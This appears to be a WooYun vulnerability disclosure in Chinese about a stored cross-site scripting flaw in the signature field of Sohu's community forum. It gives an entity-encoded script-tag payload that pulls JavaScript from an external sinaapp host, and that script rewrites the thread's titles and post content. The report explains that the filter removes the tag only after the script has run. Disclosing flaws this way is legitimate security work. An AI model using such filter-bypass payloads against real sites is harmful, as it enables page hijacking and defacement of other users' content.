WooYun.org

1.存在XSS的地方，搜狐社区的个人签名处：

2.先构造代码:
①.

<br><scrip　src="http://fripside.sinaapp.com/1aaa.js"

　　　　　　　　　　　　　↓ (后半部分编码)
②.

<br>&#60;&#115;&#99;&#114;&#105;&#112;&#12288;&#115;&#114;&#99;&#61;&#34;http://fripside.sinaapp.com/1aaa.js&#34;

　　　　　　　　　　　　　↓(插入个人签名这个时候代码会变成这样)
③.

---------------------------------------------------------------------------------------------
3.其中http://fripside.sinaapp.com/1aaa.js里面的内容是

document.title="股票不好就想跳楼肯定是傻逼，你想过你父母吗？";//修改浏览器标题
var tt=document.getElementsByClassName("title");
tt[0].innerHTML="股票不好就想跳楼肯定是傻逼，你想过你父母吗？";//修改帖子标题
var dd=document.getElementsByClassName("wrap");
dd[1].innerHTML="其实没必要弄什么股票，找份理想的工作，好好过日子就行,如果是我，有那些钱，我会开个小超市或者小饭馆";//修改文章内容

--------------------------------------------------------------------------------------
4.然后修改楼主的标题和帖子内容

--------------------------------------------------------------------------------------
5.

6.标签<br><script src="" 最后只留下<br>,但是过滤加载的过程脚本已经执行完成了
7.通过流量监控，已经可以看见在页面加载的过程已经加载外部JS了,再怎么过滤也白搭